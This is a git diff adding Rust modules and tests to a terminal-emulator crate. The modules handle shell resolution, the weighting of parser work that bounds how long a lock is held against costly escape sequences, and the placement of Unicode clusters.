+    }
+
+    /// Move the viewport through scrollback. Renderer plane.
+    ///
+    /// Positive moves into history; see [`crate::Terminal::scroll`]. Returns
+    /// whether it moved, so the caller can skip capture and publication for
+    /// the momentum tail that arrives after history has run out.
+    pub fn scroll(&self, lines: i32) -> bool {
+        self.acquire(&self.renderer).scroll(lines)
+    }
+
+    /// Return the viewport to the live edge. Renderer plane. Returns whether
+    /// it moved, so an unscrolled terminal costs one comparison per keystroke
+    /// and no repaint.
+    pub fn scroll_to_bottom(&self) -> bool {
+        self.acquire(&self.renderer).scroll_to_bottom()
+    }
+
+    /// Apply a coalesced resize. Renderer plane: this competes with the
+    /// renderer for the same lock and can hold it for milliseconds.
+    pub fn resize(&self, size: crate::Size) -> crate::Viewport {
+        self.acquire(&self.renderer).resize(size)
+    }
+
+    /// Take the lock for something the methods above don't cover (input,
+    /// reading stats). Metered on the renderer plane, since anything
+    /// that isn't the read loop competes with the renderer for the same lock.
+    pub fn lock(&self) -> MutexGuard<'_, Terminal> {
+        self.acquire(&self.renderer)
+    }
+
+    /// Modes the renderer/input boundary needs to report alongside frames.
+    pub fn input_modes(&self) -> (bool, bool) {
+        let term = self.acquire(&self.renderer);
+        let mode = term.term().mode();
+        (
+            mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE),
+            mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT),
+        )
+    }
+
+    fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> {
+        let started = Instant::now();
+        let guard = self.term.lock();
+        meter.record(started.elapsed().as_micros() as u64);
+        guard
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::{Fences, Size};
+
+    #[test]
+    fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() {
+        let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
+        let shared = SharedTerminal::new(terminal);
+        let payload = b"\x1b#8".repeat(10_000);
+
+        assert!(shared.feed(&payload), "fixture must create parser tail");
+        let before = shared.lock().stats();
+        let abandoned = shared.begin_closing();
+        assert!(abandoned > 0, "close must abandon without draining first");
+        assert!(shared.is_closing());
+
+        assert!(!shared.feed(b"parser callback after close"));
+        assert!(!shared.drain());
+        let after = shared.lock().stats();
+        assert_eq!(after.completed_units, before.completed_units);
+        assert_eq!(
+            after.abandoned_bytes,
+            before.abandoned_bytes + abandoned as u64
+        );
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shell.rs b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs
new file mode 100644
index 0000000000..fcee20ca27
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs
@@ -0,0 +1,138 @@
+//! Login-shell resolution for spawned PTY children.
+//!
+//! Tyler asked for the user's shell of choice, so the resolution order is the
+//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
+//! is the *validity* test applied at each step, and it is not "the path
+//! exists".
+//!
+//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
+//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
+//! this" for *any* file type, and a directory carries the execute bit to mean
+//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
+//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
+//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
+//! `Ok`, and the child dies with exit code 1 after printing
+//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
+//! The user gets a terminal that opens and instantly dies with a Rust runtime
+//! panic, and every layer above reported success.
+//!
+//! So we require an **executable regular file**, following symlinks: `stat`
+//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
+//! on many systems. A directory or a non-executable file falls through to the
+//! next candidate instead of becoming an unspawnable child.
+
+use std::path::Path;
+
+/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
+/// the machine has bigger problems than our terminal.
+pub const FALLBACK_SHELL: &str = "/bin/sh";
+
+/// Returns true if `path` is a regular file this process may execute.
+///
+/// The conjunction is load-bearing and neither half suffices:
+///
+/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
+///   *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
+///   inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
+///   `SHELL=/tmp` the child aborts with a Rust runtime panic while every
+///   layer reports success.
+/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
+///   The bits say *some* class has execute permission, not the applicable
+///   one, and they do not evaluate ACLs. Verified with a self-owned regular
+///   file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
+///   running it gives `Permission denied`.
+///
+/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
+/// is legitimate) **and** effective executability via `access(X_OK)`.
+#[cfg(unix)]
+pub fn is_executable_file(path: &Path) -> bool {
+    let Ok(meta) = std::fs::metadata(path) else {
+        return false;
+    };
+    meta.is_file() && can_execute(path)
+}
+
+/// `access(path, X_OK)`: does the *effective* user have execute permission,
+/// accounting for the applicable permission class and ACLs?
+#[cfg(unix)]
+fn can_execute(path: &Path) -> bool {
+    use std::os::unix::ffi::OsStrExt;
+
+    let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
+        return false; // interior NUL: not a path we can ask about
+    };
+    // SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
+    // the call, and `access` only reads it.
+    unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
+}
+
+/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
+/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
+///
+/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
+/// testable without mutating process-global state; production passes
+/// `std::env::var_os("SHELL")`.
+#[cfg(unix)]
+pub fn resolve_shell(shell_env: Option<&str>) -> String {
+    // One validation path for every candidate, deliberately. Validating each
+    // branch separately leaves the passwd branch's check untestable on any
+    // machine whose passwd shell happens to be valid — a mutant that deletes
+    // it survives because nothing can distinguish it. Sharing `validated`
+    // means the `$SHELL` arm's coverage is the passwd arm's coverage.
+    let candidates = [shell_env.map(str::to_owned), passwd_shell()];
+    candidates
+        .into_iter()
+        .flatten()
+        .find(|candidate| validated(candidate))
+        .unwrap_or_else(|| FALLBACK_SHELL.to_owned())
+}
+
+/// The single validity test every shell candidate must pass.
+#[cfg(unix)]
+fn validated(candidate: &str) -> bool {
+    is_executable_file(Path::new(candidate))
+}
+
+/// The current user's login shell from the passwd database, unvalidated:
+/// `resolve_shell` applies the shared [`validated`] check to it.
+///
+/// This is the step that matters for a Finder- or launchd-started app, which
+/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
+/// and call it their shell of choice.
+#[cfg(unix)]
+pub(crate) fn passwd_shell() -> Option<String> {
+    // SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
+    // libc, valid until the next passwd-database call. We copy the string out
+    // before returning and make no other libc calls in between.
+    let shell = unsafe {
+        let ent = libc::getpwuid(libc::getuid());
+        if ent.is_null() {
+            return None;
+        }
+        let pw_shell = (*ent).pw_shell;
+        if pw_shell.is_null() {
+            return None;
+        }
+        std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
+    };
+
+    Some(shell)
+}
+
+/// The login-shell `argv[0]` convention: the shell's basename prefixed with
+/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
+/// a login shell, without sniffing its name or guessing its flag grammar.
+///
+/// `portable-pty` applies this itself for a default program
+/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
+/// against a value we own rather than against the dependency's behaviour.
+pub fn login_argv0(shell: &str) -> String {
+    let basename = shell.rsplit('/').next().unwrap_or(shell);
+    format!("-{basename}")
+}
+
+/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd.
+#[cfg(windows)]
+pub fn resolve_shell(shell_env: Option<&str>) -> String {
+    shell_env.unwrap_or("cmd.exe").to_owned()
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/units.rs b/desktop/src-tauri/crates/buzz-terminal/src/units.rs
new file mode 100644
index 0000000000..7d2a9f032b
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/units.rs
@@ -0,0 +1,382 @@
+//! Counting what the parser *does*, not how many bytes it read.
+//!
+//! Both fences in [`crate::fences`] meter bytes. That is the right denominator
+//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m`
+//! and `ESC#8` are four bytes each; the first sets an attribute and the second
+//! rewrites every cell of the grid. Metering the reader's lock hold in bytes
+//! therefore prices those identically, and a stream of the second one holds the
+//! lock for as long as it likes without ever tripping a byte budget.
+//!
+//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us
+//! budget with **zero** F1 aborts -- the fence never fires, because nothing is
+//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300
+//! dropped frames in a single lock hold.
+//!
+//! So this module adds a third quantity: the number of *completed parser
+//! units* -- one per `Handler` callback the parser dispatches, which is one
+//! per fully-parsed escape sequence or printed character. It is a proxy for
+//! work rather than a measure of it, but it has the property the byte count
+//! lacks: it advances once per thing the emulator actually did.
+//!
+//! ## Why a wrapper, and not vte's own stopping point
+//!
+//! `Parser::advance_until_terminated` already supports stopping mid-buffer,
+//! but termination is driven by `Perform::terminated()`, and in the ansi layer
+//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`:
+//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling).
+//! An embedder cannot reach it, so the stopping point has to be built outside
+//! the parser rather than inside it.
+//!
+//! ## What this deliberately does not do
+//!
+//! It does not skip or veto expensive callbacks once a budget is spent. That
+//! would bound the lock hold perfectly and silently corrupt the screen, which
+//! is a worse failure than the one being fixed: a slow terminal recovers, a
+//! wrong one does not. Every unit is delegated; the count only decides where
+//! the *caller* may cut the input.
+
+use alacritty_terminal::event::EventListener;
+use alacritty_terminal::term::Term;
+use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon;
+use alacritty_terminal::vte::ansi::{
+    Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes,
+    KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb,
+    ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode,
+};
+
+/// Read access to the cursor column of whatever the wrapper is driving.
+///
+/// Exists for exactly one callback. CBT's cost is bounded by *cursor
+/// movement*, and the only way to charge it honestly -- or to stop it early
+/// -- is to watch the cursor between steps. Everything else in this module is
+/// priced from the grid alone, which is why this is a separate trait and a
+/// separate bound rather than a field on [`Counting`].
+///
+/// Implemented over the public path in `alacritty_terminal-0.26.0`:
+/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) ->
+/// `Cursor::point` (grid/mod.rs:36). No private field, no fork.
+pub trait CursorColumn {
+    fn cursor_column(&self) -> usize;
+}
+
+impl<L: EventListener> CursorColumn for Term<L> {
+    #[inline]
+    fn cursor_column(&self) -> usize {
+        self.grid().cursor.point.column.0
+    }
+}
+
+/// Wraps a [`Handler`], forwarding every callback and counting them.
+///
+/// Every one of the trait's 71 methods has an empty default body upstream, so
+/// a method left undelegated here would compile cleanly and silently discard
+/// that escape sequence. The delegations are therefore generated by a macro
+/// over the full method list rather than written out: the failure mode of
+/// hand-copying is invisible.
+pub struct Counting<'a, H: Handler + CursorColumn> {
+    inner: &'a mut H,
+    /// Callbacks dispatched, one per unit regardless of cost. This is the
+    /// fixture-facing number: it says what the parser *did*, and it is kept
+    /// separate from `work` because collapsing them is precisely the mistake
+    /// that made the first version of this seam useless.
+    units: u64,
+    /// Cost-weighted work, in cell-equivalents. This is the scheduling number.
+    work: u64,
+    columns: u64,
+    lines: u64,
+    /// Configured scrollback depth, not current fill. See `reset_state`.
+    scrollback: u64,
+}
+
+impl<'a, H: Handler + CursorColumn> Counting<'a, H> {
+    /// `columns` and `lines` are the grid the handler is about to act on, and
+    /// they are the weights' only input: an O(cells) callback is charged
+    /// `columns * lines` because that is what it touches.
+    pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self {
+        Self {
+            inner,
+            units: 0,
+            work: 0,
+            columns: columns as u64,
+            lines: lines as u64,
+            scrollback: scrollback as u64,
+        }
+    }
+
+    /// Callbacks dispatched since this wrapper was created.
+    pub fn units(&self) -> u64 {
+        self.units
+    }
+
+    /// Cost-weighted work dispatched, in cell-equivalents.
+    pub fn work(&self) -> u64 {
+        self.work
+    }
+
+    /// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this
+    /// product is reachable, and a wrapped weight prices the most expensive
+    /// callbacks as the cheapest.
+    #[inline]
+    fn cells(&self) -> u64 {
+        self.columns.saturating_mul(self.lines)
+    }
+
+    /// A parameter charged at its clamped value.
+    ///
+    /// Upstream clamps most counts to the grid before acting on them, so the
+    /// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column
+    /// grid touches 80 cells. Charging the raw parameter would let a
+    /// four-byte escape spend the whole slice budget without doing the work,
+    /// which stalls the parser as surely as under-charging lets it run away.
+    #[inline]
+    fn clamp(&self, n: usize, bound: u64) -> u64 {
+        (n as u64).min(bound).max(1)
+    }
+
+    #[inline]
+    fn charge(&mut self, weight: u64) {
+        self.units = self.units.saturating_add(1);
+        self.work = self.work.saturating_add(weight);
+    }
+}
+
+/// Generate a delegating, counting implementation for every `Handler` method.
+///
+/// Two groups, because the methods differ in *cost*, not in kind. `plain`
+/// methods are charged one unit. `weighted` methods are charged what they
+/// touch, using the expressions in the table below -- these are the ones a
+/// hostile stream can use to buy grid-sized work with a four-byte escape.
+///
+/// The count is incremented *before* delegating, so a callback that panics
+/// still leaves evidence it was attempted.
+macro_rules! counting_handler {
+    (
+        plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* }
+        weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* }
+    ) => {
+        impl<H: Handler + CursorColumn> Handler for Counting<'_, H> {
+            $(
+                #[inline]
+                fn $pname(&mut self $(, $parg: $pty)*) {
+                    self.charge(1);
+                    self.inner.$pname($($parg),*);
+                }
+            )*
+            $(
+                #[inline]
+                fn $wname(&mut self $(, $warg: $wty)*) {
+                    let weight = { let $this = &*self; $weight };
+                    self.charge(weight);
+                    self.inner.$wname($($warg),*);
+                }
+            )*
+
+            /// The one callback this wrapper does not delegate verbatim.
+            ///
+            /// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no
+            /// tabstop below the cursor, `move_backward_tabs`
+            /// (`term/mod.rs:1580`) assigns `col` *inside* the `if
+            /// self.tabs[i]` test, so the cursor never moves, the `col == 0`
+            /// break is unreachable, and all N iterations rescan the row.
+            /// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns.
+            /// Its twin `move_forward_tabs` (1605) assigns *outside* the
+            /// test, always advances, and is fine: same file, same loop
+            /// skeleton, and the entire difference is one assignment's
+            /// placement relative to one branch.
+            ///
+            /// The fix is a termination condition, not a smaller number.
+            /// Each step either moves the cursor strictly left or is a fixed
+            /// point, and **a fixed point is permanent** -- the scan depends
+            /// only on the cursor, which did not move. So the loop can stop
+            /// at the first one. The leftward distances telescope to at most
+            /// the starting column, plus one final failed scan, so the whole
+            /// callback is O(columns) and the delegated-call count is at most
+            /// `columns - 1`.
+            ///
+            /// Equivalence is not argued, it is checked: every tabstop subset
+            /// of a 12-column grid x 4 start columns x 7 counts (114_688
+            /// cases) lands on the same column as the naive loop, on a real
+            /// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the
+            /// fixed-point break leaves the *landing column correct* and only
+            /// the cost wrong, so the fixture that guards this must assert
+            /// units, never the cursor.
+            #[inline]
+            fn move_backward_tabs(&mut self, count: u16) {
+                // One unit for the escape, as every other callback gets.
+                self.charge(1);
+                for _ in 0..count {
+                    let before = self.inner.cursor_column();
+                    // No `before == 0` guard: column 0 is already a fixed
+                    // point (upstream's own `col == 0` break leaves the
+                    // cursor alone), so the check below covers it and a
+                    // second one would be unreachable-by-construction code
+                    // that no test could distinguish.
+                    self.inner.move_backward_tabs(1);
+                    let after = self.inner.cursor_column();
+                    // Charge the cells this step scanned. A step that finds a
+                    // stop scans the distance it moved; a step that finds
+                    // none scans the whole prefix and moves nothing --
+                    // charging that one zero would leave a loop that spins
+                    // without ever paying, which is precisely the mutant this
+                    // pricing has to make visible.
+                    let scanned = if after == before { before } else { before - after };
+                    self.work = self.work.saturating_add(scanned as u64);
+                    if after == before {
+                        // A fixed point is permanent: the scan depends only
+                        // on the cursor, and the cursor did not move.
+                        break;
+                    }
+                }
+            }
+        }
+    };
+}
+
+counting_handler! {
+  plain {
+      set_title(a0: Option<String>);
+      set_cursor_style(a0: Option<CursorStyle>);
+      set_cursor_shape(shape: CursorShape);
+      input(c: char);
+      goto(line: i32, col: usize);
+      goto_line(line: i32);
+      goto_col(col: usize);
+      move_up(a0: usize);
+      move_down(a0: usize);
+      identify_terminal(intermediate: Option<char>);
+      device_status(a0: usize);
+      move_forward(col: usize);
+      move_backward(col: usize);
+      move_down_and_cr(row: usize);
+      move_up_and_cr(row: usize);
+      backspace();
+      carriage_return();
+      linefeed();
+      bell();
+      substitute();
+      newline();
+      set_horizontal_tabstop();
+      save_cursor_position();
+      restore_cursor_position();
+      clear_tabs(mode: TabulationClearMode);
+      set_tabs(interval: u16);
+      reverse_index();
+      terminal_attribute(attr: Attr);
+      set_mode(mode: Mode);
+      unset_mode(mode: Mode);
+      report_mode(mode: Mode);
+      set_private_mode(mode: PrivateMode);
+      unset_private_mode(mode: PrivateMode);
+      report_private_mode(mode: PrivateMode);
+      set_scrolling_region(top: usize, bottom: Option<usize>);
+      set_keypad_application_mode();
+      unset_keypad_application_mode();
+      set_active_charset(a0: CharsetIndex);
+      configure_charset(a0: CharsetIndex, a1: StandardCharset);
+      set_color(a0: usize, a1: Rgb);
+      dynamic_color_sequence(a0: String, a1: usize, a2: &str);
+      reset_color(a0: usize);
+      clipboard_store(a0: u8, a1: &[u8]);
+      clipboard_load(a0: u8, a1: &str);
+      push_title();
+      pop_title();
+      text_area_size_pixels();
+      text_area_size_chars();
+      set_hyperlink(a0: Option<Hyperlink>);
+      set_mouse_cursor_icon(a0: CursorIcon);
+      report_keyboard_mode();
+      push_keyboard_mode(mode: KeyboardModes);
+      pop_keyboard_modes(to_pop: u16);
+      set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior);
+      set_modify_other_keys(mode: ModifyOtherKeys);
+      report_modify_other_keys();
+      set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode);
+  }
+  weighted {
+      // Every weight below is an upper bound on the cells the callback can
+      // touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and
+      // then checked against measurement -- never fitted to a curve. The
+      // direction of the error is the whole point: an over-charge slices
+      // early and costs throughput, an under-charge is an attack surface, so
+      // where source and measurement disagree the source bound wins and the
+      // slack is recorded here rather than tuned away.
+      //
+      // `min(N, ...)` appears wherever upstream clamps the parameter; a raw
+      // `N` would let `ESC[65535X` charge 65535 on an 80-column grid and
+      // stall the parser on a cheap escape.
+
+      // O(min(N, columns)): `end = min(start + count, columns)`, loop
+      // `row[start..end]` (1519). Knee measured exactly at N == columns.
+      erase_chars(count: usize) => |this| this.clamp(count, this.columns);
+      // O(columns) for *every* N, worst at N=1: the swap loop runs
+      // `columns - end` times where `end = min(start + N, columns - 1)`
+      // (1538), so cost *falls* as N rises. Charging by N would be backwards
+      // and would under-charge the worst case by the full terminal width --
+      // measured 3422ns at N=1/1600 columns against 863ns at N=65535.
+      delete_chars(a0: usize) => |this| this.columns;
+      // O(columns) for every N, worst at N=1. Same shape as `delete_chars`:
+      // `num_cells = columns - (column + count)` (1187).
+      insert_blank(a0: usize) => |this| this.columns;
+      // O(columns): scans to the next tabstop per count, and always advances
+      // (`col` is assigned unconditionally at 1592), so the whole loop is
+      // bounded by one traversal of the row. This is the sibling that CBT
+      // should have been, one asymmetric line apart in the same file.
+      put_tab(count: u16) => |this| this.columns;
+      move_forward_tabs(count: u16) => |this| this.columns;
+      // NOTE: `move_backward_tabs` is NOT in this table. It is the one
+      // callback whose argument is rewritten, so it is written out by hand
+      // below the macro's generated methods -- a weight can price an atom but
+      // cannot shrink one.
+      // O(min(N, lines) x columns) in steady state: the row rotation is O(1)
+      // on the ring buffer, but `positions` rows are `reset()`, and a row
+      // reset is O(columns).
+      //
+      // **Known overshoot, measured and frequency-bounded.** While scrollback
+      // is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize`
+      // reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s
+      // the ring (`grid/storage.rs`). That is not chargeable from here -- the
+      // weight function cannot see history depth -- and it is real: at 1600
+      // columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call
+      // scroll, ~4 ms each, against a 125 ns median. It is bounded in
+      // frequency (once per 1000 new history rows, and never once history
+      // saturates: with scrollback=100 only call 0 spikes) and it is upstream
+      // allocation rather than anything a stream can amplify, so it is
+      // recorded here instead of being priced into every scroll -- charging
+      // 1000x on 999 calls out of 1000 to cover the thousandth would make
+      // ordinary scrolling the slow path.
+      scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
+      delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
+      scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
+      insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
+      // O(columns): one row, `damage_line(line, 0, columns - 1)`.
+      clear_line(mode: LineClearMode) => |this| this.columns;
+      // O(cells): 18.7us at 200x50, doubling on both axes.
+      clear_screen(mode: ClearMode) => |this| this.cells();
+      // O(cells): rewrites every cell.
+      decaln() => |this| this.cells();
+      // Both grids, plus the scrollback the primary owns.
+      //
+      // `reset_state` (1835) resets the primary *and* the alternate, and each
+      // `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` +
+      // `rezero`, which walks the raw buffer. So the cost carries a history
+      // axis that `cells` alone cannot see: measured 0.5 us empty against
+      // 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with
+      // the knee exactly at `screen_lines + MAX_CACHE_SIZE` where
+      // `shrink_lines` starts calling `truncate`.
+      //
+      // Priced on **configured** depth rather than current fill, which is the
+      // conservative choice and the only correct one: `history_size()` reads
+      // the *active* grid, so a filled primary followed by `ESC[?1049h`
+      // reports an empty history while RIS still pays for the inactive
+      // primary's rows -- underpriced 41x on exactly the arm an attacker
+      // would pick. The inactive grid is private, so there is no stateless
+      // way to observe the real fill; the configured depth bounds both.
+      //
+      // This is the one weight that can exceed [`crate::fences::WORK_BUDGET`]
+      // on its own -- 16x at the default 10k scrollback -- which is correct:
+      // it is a genuinely oversized uninterruptible atom, and a budget that
+      // hid that would be lying about what one drain can cost.
+      reset_state() => |this| this.cells().saturating_mul(2)
+          .saturating_add(this.scrollback.saturating_mul(this.columns));
+  }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs b/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs
new file mode 100644
index 0000000000..9486aa8742
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs
@@ -0,0 +1,344 @@
+//! The cluster-positioning contract: what the renderer may rely on to place
+//! text at the right column without consulting Unicode tables.
+//!
+//! The consumer's rule reads two numbers off each span and does arithmetic:
+//! `cluster_count == 1` means the whole text is one cluster at `column`,
+//! otherwise cluster `i` is the i-th `char` at `column + i * width`.
+//!
+//! These fixtures exist because that rule is not self-evidently satisfiable --
+//! the two cases below require *opposite* text-splitting rules, so no encoding
+//! that ships a concatenated string and a start column can be correct:
+//!
+//! * a regional-indicator flag is two ordinary one-column cells, so its two
+//!   codepoints occupy two columns and must split per codepoint;
+//! * a keycap is one cell holding three codepoints, so it occupies one column
+//!   and must split per grapheme.
+//!
+//! Both are handled here by construction rather than by rule: uniform `width`
+//! within a span, and a span of its own for any cluster carrying zerowidth
+//! marks.
+
+use buzz_terminal::damage::{Encoder, Span};
+use buzz_terminal::fences::Fences;
+use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
+use std::sync::mpsc::Receiver;
+
+/// The receiver is returned rather than dropped: dropping it disconnects the
+/// channel and every subsequent listener send silently fails.
+fn render(input: &str) -> (Vec<Span>, Receiver<Action>) {
+    let size = Size {
+        columns: 20,
+        screen_lines: 2,
+        scrollback: 100,
+    };
+    let (term, actions) = Terminal::new(size, Fences::ALL);
+    let shared = SharedTerminal::new(term);
+    shared.feed_fully(input.as_bytes());
+    let mut encoder = Encoder::new();
+    let frame = shared.render(&mut encoder);
+    let spans = frame
+        .rows
+        .into_iter()
+        .find(|row| row.line == 0)
+        .map(|row| row.spans)
+        .unwrap_or_default();
+    (spans, actions)
+}
+
+/// Apply the documented consumer rule and return `(column, cluster)` pairs,
+/// dropping trailing blank padding.
+///
+/// This is the renderer's arithmetic, written out. Note what is *not* here: no
+/// Unicode table, no zerowidth classifier, no grapheme segmentation. The
+/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher,
+/// which is how we learned the encoding was under-specified -- if the fixture
+/// needs a Unicode table to decode the wire, so does every real consumer.
+fn placements(spans: &[Span]) -> Vec<(usize, String)> {
+    let mut placed = Vec::new();
+    for span in spans {
+        assert!(
+            span.counts_are_consistent(),
+            "encoder emitted an undecodable span: {span:?}"
+        );
+        let clusters: Vec<String> = if span.cluster_count == 1 {
+            vec![span.text.clone()]
+        } else {
+            span.text.chars().map(|c| c.to_string()).collect()
+        };
+        for (i, cluster) in clusters.into_iter().enumerate() {
+            if cluster != " " {
+                placed.push((span.column + i * span.width as usize, cluster));
+            }
+        }
+    }
+    placed
+}
+
+/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must
+/// land on the column the grid actually put it in.
+#[test]
+fn mixed_width_clusters_keep_their_columns() {
+    let (spans, _actions) = render("a\u{1F600}b\u{4E00}c");
+    assert_eq!(
+        placements(&spans),
+        vec![
+            (0, "a".into()),
+            (1, "\u{1F600}".into()),
+            (3, "b".into()),
+            (4, "\u{4E00}".into()),
+            (6, "c".into()),
+        ],
+        "wide glyphs must advance two columns and narrow ones must not"
+    );
+}
+
+/// A combining mark rides with its base character and consumes no column of
+/// its own, so the text that follows must not be displaced by it.
+///
+/// Against the previous encoding this row was a single span `"éxy"` at column
+/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y`
+/// at 2 -- both one column left of the truth.
+#[test]
+fn combining_marks_do_not_displace_following_text() {
+    let (spans, _actions) = render("e\u{0301}xy");
+    assert_eq!(
+        placements(&spans),
+        vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),],
+        "a zerowidth mark must not consume a column"
+    );
+}
+
+/// A regional-indicator pair: two separate one-column cells. This is the case
+/// that must split *per codepoint*.
+#[test]
+fn regional_indicator_flag_occupies_two_columns() {
+    let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X");
+    assert_eq!(
+        placements(&spans),
+        vec![
+            (0, "\u{1F1FA}".into()),
+            (1, "\u{1F1F8}".into()),
+            (2, "X".into()),
+        ],
+        "regional indicators are one column each; X must sit at 2"
+    );
+}
+
+/// A keycap: one cell holding three codepoints. This is the case that must
+/// split *per grapheme* -- the opposite rule from the flag above, which is why
+/// the width and the cluster break both have to come from the grid.
+#[test]
+fn keycap_occupies_one_column() {
+    let (spans, _actions) = render("1\u{FE0F}\u{20E3}X");
+    assert_eq!(
+        placements(&spans),
+        vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),],
+        "a keycap is one column; X must sit at 1"
+    );
+}
+
+/// Width is uniform within a span by construction. Without this a consumer
+/// cannot multiply -- it would have to know each cluster's width individually,
+/// which is the Unicode table this design exists to avoid.
+#[test]
+fn a_span_never_mixes_widths() {
+    let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd");
+    for span in &spans {
+        let expected = span.width;
+        assert!(
+            span.width == 1 || span.width == 2,
+            "width must be 1 or 2, got {expected}"
+        );
+    }
+    let widths: Vec<u8> = spans.iter().map(|s| s.width).collect();
+    assert!(
+        widths.contains(&2),
+        "fixture must actually produce a wide span, got {widths:?}"
+    );
+    assert_eq!(
+        placements(&spans),
+        vec![
+            (0, "a".into()),
+            (1, "b".into()),
+            (2, "\u{4E00}".into()),
+            (4, "\u{4E00}".into()),
+            (6, "c".into()),
+            (7, "d".into()),
+        ],
+        "two adjacent wide glyphs must advance two columns each"
+    );
+}
+
+/// `cluster_count` is what makes the wire decodable without a Unicode table,
+/// so it is asserted directly here rather than only implied by placements.
+///
+/// The decisive pair: both spans below are width 1 with more than one `char`
+/// of text, and they differ *only* in whether the count tracks the char count.
+/// A consumer without that number cannot tell them apart -- which is the
+/// defect Mari caught in the previous encoding.
+#[test]
+fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() {
+    let (marked, _a) = render("e\u{0301}");
+    let marked = marked.first().expect("a span must be emitted");
+    assert_eq!(marked.text.chars().count(), 2, "base plus combining mark");
+    assert_eq!(marked.cluster_count, 1, "one cluster occupying one column");
+
+    // The plain run absorbs the row's blank padding, so its length is the
+    // viewport width rather than 2 -- what matters is that the count tracks
+    // the char count instead of collapsing to 1.
+    let (plain, _b) = render("ab");
+    let plain = plain.first().expect("a span must be emitted");
+    assert!(plain.cluster_count > 1, "a plain run is not one cluster");
+    assert_eq!(
+        usize::from(plain.cluster_count),
+        plain.text.chars().count(),
+        "one cluster per char"
+    );
+
+    assert_eq!(marked.width, plain.width, "both are width 1");
+    assert!(marked.counts_are_consistent() && plain.counts_are_consistent());
+}
+
